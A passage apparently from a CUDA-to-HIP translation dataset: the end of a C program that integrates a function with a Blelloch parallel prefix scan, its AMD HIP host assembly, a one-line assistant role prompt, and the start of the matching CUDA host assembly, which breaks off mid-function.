// printf("%1.4f \n", hostFunVals[i]);
// }
// printf("=========\n");
//
// for(int i=0; i<n_points; i++)
// {
// printf("%1.4f \n", hostFunVals2[i]);
// }
// printf("\n");
// printf("Func value: %1.5f\n", hostFunVals[n_points - 1]);
printf("Integral value: %1.5e\n", hostFunVals2[n_points - 1] * dx);
free(hostFunVals);
free(hostFunVals2);
CUDA_CALL(hipFree(devFunVals));
return 0;
} | .text
.file "scan.hip"
.globl _Z31__device_stub__prepare_functionPfiff # -- Begin function _Z31__device_stub__prepare_functionPfiff
.p2align 4, 0x90
.type _Z31__device_stub__prepare_functionPfiff,@function
_Z31__device_stub__prepare_functionPfiff: # @_Z31__device_stub__prepare_functionPfiff
.cfi_startproc
# %bb.0:
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 72(%rsp)
movl %esi, 20(%rsp)
movss %xmm0, 16(%rsp)
movss %xmm1, 12(%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 20(%rsp), %rax
movq %rax, 88(%rsp)
leaq 16(%rsp), %rax
movq %rax, 96(%rsp)
leaq 12(%rsp), %rax
movq %rax, 104(%rsp)
leaq 56(%rsp), %rdi
leaq 40(%rsp), %rsi
leaq 32(%rsp), %rdx
leaq 24(%rsp), %rcx
callq __hipPopCallConfiguration
movq 56(%rsp), %rsi
movl 64(%rsp), %edx
movq 40(%rsp), %rcx
movl 48(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z16prepare_functionPfiff, %edi
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
pushq 40(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $136, %rsp
.cfi_adjust_cfa_offset -136
retq
.Lfunc_end0:
.size _Z31__device_stub__prepare_functionPfiff, .Lfunc_end0-_Z31__device_stub__prepare_functionPfiff
.cfi_endproc
# -- End function
.globl _Z35__device_stub__blelloch_reduce_stepPfii # -- Begin function _Z35__device_stub__blelloch_reduce_stepPfii
.p2align 4, 0x90
.type _Z35__device_stub__blelloch_reduce_stepPfii,@function
_Z35__device_stub__blelloch_reduce_stepPfii: # @_Z35__device_stub__blelloch_reduce_stepPfii
.cfi_startproc
# %bb.0:
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %rdi, 56(%rsp)
movl %esi, 4(%rsp)
movl %edx, (%rsp)
leaq 56(%rsp), %rax
movq %rax, 64(%rsp)
leaq 4(%rsp), %rax
movq %rax, 72(%rsp)
movq %rsp, %rax
movq %rax, 80(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 64(%rsp), %r9
movl $_Z20blelloch_reduce_stepPfii, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $104, %rsp
.cfi_adjust_cfa_offset -104
retq
.Lfunc_end1:
.size _Z35__device_stub__blelloch_reduce_stepPfii, .Lfunc_end1-_Z35__device_stub__blelloch_reduce_stepPfii
.cfi_endproc
# -- End function
.globl _Z24__device_stub__kill_lastPfi # -- Begin function _Z24__device_stub__kill_lastPfi
.p2align 4, 0x90
.type _Z24__device_stub__kill_lastPfi,@function
_Z24__device_stub__kill_lastPfi: # @_Z24__device_stub__kill_lastPfi
.cfi_startproc
# %bb.0:
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %rdi, 56(%rsp)
movl %esi, 4(%rsp)
leaq 56(%rsp), %rax
movq %rax, 64(%rsp)
leaq 4(%rsp), %rax
movq %rax, 72(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 64(%rsp), %r9
movl $_Z9kill_lastPfi, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $104, %rsp
.cfi_adjust_cfa_offset -104
retq
.Lfunc_end2:
.size _Z24__device_stub__kill_lastPfi, .Lfunc_end2-_Z24__device_stub__kill_lastPfi
.cfi_endproc
# -- End function
.globl _Z38__device_stub__blelloch_downsweep_stepPfii # -- Begin function _Z38__device_stub__blelloch_downsweep_stepPfii
.p2align 4, 0x90
.type _Z38__device_stub__blelloch_downsweep_stepPfii,@function
_Z38__device_stub__blelloch_downsweep_stepPfii: # @_Z38__device_stub__blelloch_downsweep_stepPfii
.cfi_startproc
# %bb.0:
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %rdi, 56(%rsp)
movl %esi, 4(%rsp)
movl %edx, (%rsp)
leaq 56(%rsp), %rax
movq %rax, 64(%rsp)
leaq 4(%rsp), %rax
movq %rax, 72(%rsp)
movq %rsp, %rax
movq %rax, 80(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 64(%rsp), %r9
movl $_Z23blelloch_downsweep_stepPfii, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $104, %rsp
.cfi_adjust_cfa_offset -104
retq
.Lfunc_end3:
.size _Z38__device_stub__blelloch_downsweep_stepPfii, .Lfunc_end3-_Z38__device_stub__blelloch_downsweep_stepPfii
.cfi_endproc
# -- End function
.section .rodata.cst4,"aM",@progbits,4
.p2align 2, 0x0 # -- Begin function main
.LCPI4_0:
.long 0xc1000000 # float -8
.LCPI4_1:
.long 0x41000000 # float 8
.LCPI4_2:
.long 0x35800000 # float 9.53674316E-7
.text
.globl main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
pushq %r15
.cfi_def_cfa_offset 24
pushq %r14
.cfi_def_cfa_offset 32
pushq %r13
.cfi_def_cfa_offset 40
pushq %r12
.cfi_def_cfa_offset 48
pushq %rbx
.cfi_def_cfa_offset 56
subq $152, %rsp
.cfi_def_cfa_offset 208
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
.cfi_offset %rbp, -16
movl $0, 28(%rsp)
cmpl $2, %edi
jl .LBB4_3
# %bb.1:
movq 8(%rsi), %rdi
xorl %ebx, %ebx
leaq 28(%rsp), %rdx
movl $.L.str, %esi
xorl %eax, %eax
callq __isoc23_sscanf
movss 28(%rsp), %xmm1 # xmm1 = mem[0],zero,zero,zero
movss .LCPI4_0(%rip), %xmm0 # xmm0 = mem[0],zero,zero,zero
ucomiss %xmm1, %xmm0
jbe .LBB4_4
# %bb.2:
movl $.Lstr.1, %edi
callq puts@PLT
jmp .LBB4_26
.LBB4_3:
movl $.Lstr, %edi
callq puts@PLT
xorl %ebx, %ebx
jmp .LBB4_26
.LBB4_4:
movss %xmm1, 4(%rsp) # 4-byte Spill
movl $1048576, %edi # imm = 0x100000
movl $4, %esi
callq calloc
movq %rax, %rbx
movl $1048576, %edi # imm = 0x100000
movl $4, %esi
callq calloc
movq %rax, %r14
leaq 16(%rsp), %rdi
movl $4194304, %esi # imm = 0x400000
callq hipMalloc
testl %eax, %eax
je .LBB4_6
# %bb.5:
movl $.L.str.4, %edi
movl $.L.str.5, %esi
movl $149, %edx
jmp .LBB4_25
.LBB4_6:
movq %r14, 144(%rsp) # 8-byte Spill
movq %rbx, 136(%rsp) # 8-byte Spill
movss 4(%rsp), %xmm0 # 4-byte Reload
# xmm0 = mem[0],zero,zero,zero
addss .LCPI4_1(%rip), %xmm0
movss %xmm0, 4(%rsp) # 4-byte Spill
movabsq $4294968320, %r15 # imm = 0x100000400
movq %r15, %rdi
movl $1, %esi
movq %r15, %rdx
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB4_8
# %bb.7:
movq 16(%rsp), %rax
movss 28(%rsp), %xmm0 # xmm0 = mem[0],zero,zero,zero
movq %rax, 80(%rsp)
movl $1048576, 12(%rsp) # imm = 0x100000
movl $-1056964608, 8(%rsp) # imm = 0xC1000000
movss %xmm0, 92(%rsp)
leaq 80(%rsp), %rax
movq %rax, 96(%rsp)
leaq 12(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
leaq 92(%rsp), %rax
movq %rax, 120(%rsp)
leaq 64(%rsp), %rdi
leaq 48(%rsp), %rsi
leaq 40(%rsp), %rdx
leaq 32(%rsp), %rcx
callq __hipPopCallConfiguration
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
movq 48(%rsp), %rcx
movl 56(%rsp), %r8d
leaq 96(%rsp), %r9
movl $_Z16prepare_functionPfiff, %edi
pushq 32(%rsp)
.cfi_adjust_cfa_offset 8
pushq 48(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
.LBB4_8:
movss 4(%rsp), %xmm0 # 4-byte Reload
# xmm0 = mem[0],zero,zero,zero
mulss .LCPI4_2(%rip), %xmm0
movss %xmm0, 4(%rsp) # 4-byte Spill
movl $2, %r12d
leaq 48(%rsp), %r13
leaq 40(%rsp), %rbp
leaq 32(%rsp), %r14
leaq 96(%rsp), %rbx
jmp .LBB4_9
.p2align 4, 0x90
.LBB4_11: # in Loop: Header=BB4_9 Depth=1
leal (%r12,%r12), %eax
cmpl $524289, %r12d # imm = 0x80001
movl %eax, %r12d
jae .LBB4_12
.LBB4_9: # =>This Inner Loop Header: Depth=1
movq %r15, %rdi
movl $1, %esi
movq %r15, %rdx
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB4_11
# %bb.10: # in Loop: Header=BB4_9 Depth=1
movq 16(%rsp), %rax
movq %rax, 80(%rsp)
movl $1048576, 12(%rsp) # imm = 0x100000
movl %r12d, 8(%rsp)
leaq 80(%rsp), %rax
movq %rax, 96(%rsp)
leaq 12(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
leaq 64(%rsp), %rdi
movq %r13, %rsi
movq %rbp, %rdx
movq %r14, %rcx
callq __hipPopCallConfiguration
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
movq 48(%rsp), %rcx
movl 56(%rsp), %r8d
movl $_Z20blelloch_reduce_stepPfii, %edi
movq %rbx, %r9
pushq 32(%rsp)
.cfi_adjust_cfa_offset 8
pushq 48(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
jmp .LBB4_11
.LBB4_12:
movq 16(%rsp), %rsi
movl $4194304, %edx # imm = 0x400000
movq 136(%rsp), %rdi # 8-byte Reload
movl $2, %ecx
callq hipMemcpy
testl %eax, %eax
je .LBB4_14
# %bb.13:
movl $.L.str.4, %edi
movl $.L.str.5, %esi
movl $166, %edx
jmp .LBB4_25
.LBB4_14:
movq %r15, %rdi
movl $1, %esi
movq %r15, %rdx
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB4_16
# %bb.15:
movq 16(%rsp), %rdi
movl $1048576, %esi # imm = 0x100000
callq _Z24__device_stub__kill_lastPfi
.LBB4_16:
movl $1048576, %r12d # imm = 0x100000
leaq 48(%rsp), %r13
leaq 40(%rsp), %rbp
leaq 32(%rsp), %r14
leaq 96(%rsp), %rbx
jmp .LBB4_17
.p2align 4, 0x90
.LBB4_19: # in Loop: Header=BB4_17 Depth=1
movl %r12d, %eax
shrl %eax
cmpl $3, %r12d
movl %eax, %r12d
jbe .LBB4_20
.LBB4_17: # =>This Inner Loop Header: Depth=1
movq %r15, %rdi
movl $1, %esi
movq %r15, %rdx
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB4_19
# %bb.18: # in Loop: Header=BB4_17 Depth=1
movq 16(%rsp), %rax
movq %rax, 80(%rsp)
movl $1048576, 12(%rsp) # imm = 0x100000
movl %r12d, 8(%rsp)
leaq 80(%rsp), %rax
movq %rax, 96(%rsp)
leaq 12(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
leaq 64(%rsp), %rdi
movq %r13, %rsi
movq %rbp, %rdx
movq %r14, %rcx
callq __hipPopCallConfiguration
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
movq 48(%rsp), %rcx
movl 56(%rsp), %r8d
movl $_Z23blelloch_downsweep_stepPfii, %edi
movq %rbx, %r9
pushq 32(%rsp)
.cfi_adjust_cfa_offset 8
pushq 48(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
jmp .LBB4_19
.LBB4_20:
movq 16(%rsp), %rsi
movl $4194304, %edx # imm = 0x400000
movq 144(%rsp), %rbx # 8-byte Reload
movq %rbx, %rdi
movl $2, %ecx
callq hipMemcpy
testl %eax, %eax
je .LBB4_22
# %bb.21:
movl $.L.str.4, %edi
movl $.L.str.5, %esi
movl $177, %edx
jmp .LBB4_25
.LBB4_22:
movss 4(%rsp), %xmm0 # 4-byte Reload
# xmm0 = mem[0],zero,zero,zero
mulss 4194300(%rbx), %xmm0
cvtss2sd %xmm0, %xmm0
movl $.L.str.6, %edi
movb $1, %al
callq printf
movq 136(%rsp), %rdi # 8-byte Reload
callq free
movq %rbx, %rdi
callq free
movq 16(%rsp), %rdi
callq hipFree
testl %eax, %eax
je .LBB4_23
# %bb.24:
movl $.L.str.4, %edi
movl $.L.str.5, %esi
movl $207, %edx
.LBB4_25:
xorl %eax, %eax
callq printf
movl $1, %ebx
.LBB4_26:
movl %ebx, %eax
addq $152, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %r12
.cfi_def_cfa_offset 40
popq %r13
.cfi_def_cfa_offset 32
popq %r14
.cfi_def_cfa_offset 24
popq %r15
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
retq
.LBB4_23:
.cfi_def_cfa_offset 208
xorl %ebx, %ebx
jmp .LBB4_26
.Lfunc_end4:
.size main, .Lfunc_end4-main
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
pushq %rbx
.cfi_def_cfa_offset 16
subq $32, %rsp
.cfi_def_cfa_offset 48
.cfi_offset %rbx, -16
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB5_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB5_2:
movq __hip_gpubin_handle(%rip), %rbx
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z16prepare_functionPfiff, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z20blelloch_reduce_stepPfii, %esi
movl $.L__unnamed_2, %edx
movl $.L__unnamed_2, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z9kill_lastPfi, %esi
movl $.L__unnamed_3, %edx
movl $.L__unnamed_3, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z23blelloch_downsweep_stepPfii, %esi
movl $.L__unnamed_4, %edx
movl $.L__unnamed_4, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $32, %rsp
.cfi_def_cfa_offset 16
popq %rbx
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end5:
.size __hip_module_ctor, .Lfunc_end5-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB6_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB6_2:
retq
.Lfunc_end6:
.size __hip_module_dtor, .Lfunc_end6-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z16prepare_functionPfiff,@object # @_Z16prepare_functionPfiff
.section .rodata,"a",@progbits
.globl _Z16prepare_functionPfiff
.p2align 3, 0x0
_Z16prepare_functionPfiff:
.quad _Z31__device_stub__prepare_functionPfiff
.size _Z16prepare_functionPfiff, 8
.type _Z20blelloch_reduce_stepPfii,@object # @_Z20blelloch_reduce_stepPfii
.globl _Z20blelloch_reduce_stepPfii
.p2align 3, 0x0
_Z20blelloch_reduce_stepPfii:
.quad _Z35__device_stub__blelloch_reduce_stepPfii
.size _Z20blelloch_reduce_stepPfii, 8
.type _Z9kill_lastPfi,@object # @_Z9kill_lastPfi
.globl _Z9kill_lastPfi
.p2align 3, 0x0
_Z9kill_lastPfi:
.quad _Z24__device_stub__kill_lastPfi
.size _Z9kill_lastPfi, 8
.type _Z23blelloch_downsweep_stepPfii,@object # @_Z23blelloch_downsweep_stepPfii
.globl _Z23blelloch_downsweep_stepPfii
.p2align 3, 0x0
_Z23blelloch_downsweep_stepPfii:
.quad _Z38__device_stub__blelloch_downsweep_stepPfii
.size _Z23blelloch_downsweep_stepPfii, 8
.type .L.str,@object # @.str
.section .rodata.str1.1,"aMS",@progbits,1
.L.str:
.asciz "%f"
.size .L.str, 3
.type .L.str.4,@object # @.str.4
.L.str.4:
.asciz "Error at %s:%d\n"
.size .L.str.4, 16
.type .L.str.5,@object # @.str.5
.L.str.5:
.asciz "/home/ubuntu/Datasets/stackv2/train-structured-repos-hip/aleksey-uvarov/hpc-2019/master/scan.hip"
.size .L.str.5, 97
.type .L.str.6,@object # @.str.6
.L.str.6:
.asciz "Integral value: %1.5e\n"
.size .L.str.6, 23
.type .L__unnamed_1,@object # @0
.L__unnamed_1:
.asciz "_Z16prepare_functionPfiff"
.size .L__unnamed_1, 26
.type .L__unnamed_2,@object # @1
.L__unnamed_2:
.asciz "_Z20blelloch_reduce_stepPfii"
.size .L__unnamed_2, 29
.type .L__unnamed_3,@object # @2
.L__unnamed_3:
.asciz "_Z9kill_lastPfi"
.size .L__unnamed_3, 16
.type .L__unnamed_4,@object # @3
.L__unnamed_4:
.asciz "_Z23blelloch_downsweep_stepPfii"
.size .L__unnamed_4, 32
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.type .Lstr,@object # @str
.section .rodata.str1.1,"aMS",@progbits,1
.Lstr:
.asciz "Usage: ./scan <number> "
.size .Lstr, 24
.type .Lstr.1,@object # @str.1
.Lstr.1:
.asciz "0"
.size .Lstr.1, 2
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z31__device_stub__prepare_functionPfiff
.addrsig_sym _Z35__device_stub__blelloch_reduce_stepPfii
.addrsig_sym _Z24__device_stub__kill_lastPfi
.addrsig_sym _Z38__device_stub__blelloch_downsweep_stepPfii
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z16prepare_functionPfiff
.addrsig_sym _Z20blelloch_reduce_stepPfii
.addrsig_sym _Z9kill_lastPfi
.addrsig_sym _Z23blelloch_downsweep_stepPfii
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_0002096f_00000000-6_scan.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2060:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2060:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z39__device_stub__Z16prepare_functionPfiffPfiff
.type _Z39__device_stub__Z16prepare_functionPfiffPfiff, @function
_Z39__device_stub__Z16prepare_functionPfiffPfiff:
.LFB2082:
.cfi_startproc
endbr64
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 24(%rsp)
movl %esi, 20(%rsp)
movss %xmm0, 16(%rsp)
movss %xmm1, 12(%rsp)
movq %fs:40, %rax
movq %rax, 136(%rsp)
xorl %eax, %eax
leaq 24(%rsp), %rax
movq %rax, 96(%rsp)
leaq 20(%rsp), %rax
movq %rax, 104(%rsp)
leaq 16(%rsp), %rax
movq %rax, 112(%rsp)
leaq 12(%rsp), %rax
movq %rax, 120(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 136(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $152, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 168
pushq 40(%rsp)
.cfi_def_cfa_offset 176
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _Z16prepare_functionPfiff(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 160
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2082:
.size _Z39__device_stub__Z16prepare_functionPfiffPfiff, .-_Z39__device_stub__Z16prepare_functionPfiffPfiff
.globl _Z16prepare_functionPfiff
.type _Z16prepare_functionPfiff, @function
_Z16prepare_functionPfiff:
.LFB2083:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z39__device_stub__Z16prepare_functionPfiffPfiff
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2083:
.size _Z16prepare_functionPfiff, .-_Z16prepare_functionPfiff
.globl _Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii
.type _Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii, @function
_Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii:
.LFB2084:
.cfi_startproc
endbr64
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 8(%rsp)
movl %esi, 4(%rsp)
movl %edx, (%rsp)
movq %fs:40, %rax
movq %rax, 104(%rsp)
xorl %eax, %eax
leaq 8(%rsp), %rax
movq %rax, 80(%rsp)
leaq 4(%rsp), %rax
movq %rax, 88(%rsp)
movq %rsp, %rax
movq %rax, 96(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1, 40(%rsp)
movl $1, 44(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
leaq 24(%rsp), %rcx
leaq 16(%rsp), %rdx
leaq 44(%rsp), %rsi
leaq 32(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L15
.L11:
movq 104(%rsp), %rax
subq %fs:40, %rax
jne .L16
addq $120, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L15:
.cfi_restore_state
pushq 24(%rsp)
.cfi_def_cfa_offset 136
pushq 24(%rsp)
.cfi_def_cfa_offset 144
leaq 96(%rsp), %r9
movq 60(%rsp), %rcx
movl 68(%rsp), %r8d
movq 48(%rsp), %rsi
movl 56(%rsp), %edx
leaq _Z20blelloch_reduce_stepPfii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 128
jmp .L11
.L16:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2084:
.size _Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii, .-_Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii
.globl _Z20blelloch_reduce_stepPfii
.type _Z20blelloch_reduce_stepPfii, @function
_Z20blelloch_reduce_stepPfii:
.LFB2085:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2085:
.size _Z20blelloch_reduce_stepPfii, .-_Z20blelloch_reduce_stepPfii
.globl _Z29__device_stub__Z9kill_lastPfiPfi
.type _Z29__device_stub__Z9kill_lastPfiPfi, @function
_Z29__device_stub__Z9kill_lastPfiPfi:
.LFB2086:
.cfi_startproc
endbr64
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 8(%rsp)
movl %esi, 4(%rsp)
movq %fs:40, %rax
movq %rax, 104(%rsp)
xorl %eax, %eax
leaq 8(%rsp), %rax
movq %rax, 80(%rsp)
leaq 4(%rsp), %rax
movq %rax, 88(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1, 40(%rsp)
movl $1, 44(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
leaq 24(%rsp), %rcx
leaq 16(%rsp), %rdx
leaq 44(%rsp), %rsi
leaq 32(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L23
.L19:
movq 104(%rsp), %rax
subq %fs:40, %rax
jne .L24
addq $120, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L23:
.cfi_restore_state
pushq 24(%rsp)
.cfi_def_cfa_offset 136
pushq 24(%rsp)
.cfi_def_cfa_offset 144
leaq 96(%rsp), %r9
movq 60(%rsp), %rcx
movl 68(%rsp), %r8d
movq 48(%rsp), %rsi
movl 56(%rsp), %edx
leaq _Z9kill_lastPfi(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 128
jmp .L19
.L24:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2086:
.size _Z29__device_stub__Z9kill_lastPfiPfi, .-_Z29__device_stub__Z9kill_lastPfiPfi
.globl _Z9kill_lastPfi
.type _Z9kill_lastPfi, @function
_Z9kill_lastPfi:
.LFB2087:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z29__device_stub__Z9kill_lastPfiPfi
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2087:
.size _Z9kill_lastPfi, .-_Z9kill_lastPfi
.globl _Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii
.type _Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii, @function
_Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii:
.LFB2088:
.cfi_startproc
endbr64
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 8(%rsp)
movl %esi, 4(%rsp)
movl %edx, (%rsp)
movq %fs:40, %rax
movq %rax, 104(%rsp)
xorl %eax, %eax
leaq 8(%rsp), %rax
movq %rax, 80(%rsp)
leaq 4(%rsp), %rax
movq %rax, 88(%rsp)
movq %rsp, %rax
movq %rax, 96(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1, 40(%rsp)
movl $1, 44(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
leaq 24(%rsp), %rcx
leaq 16(%rsp), %rdx
leaq 44(%rsp), %rsi
leaq 32(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L31
.L27:
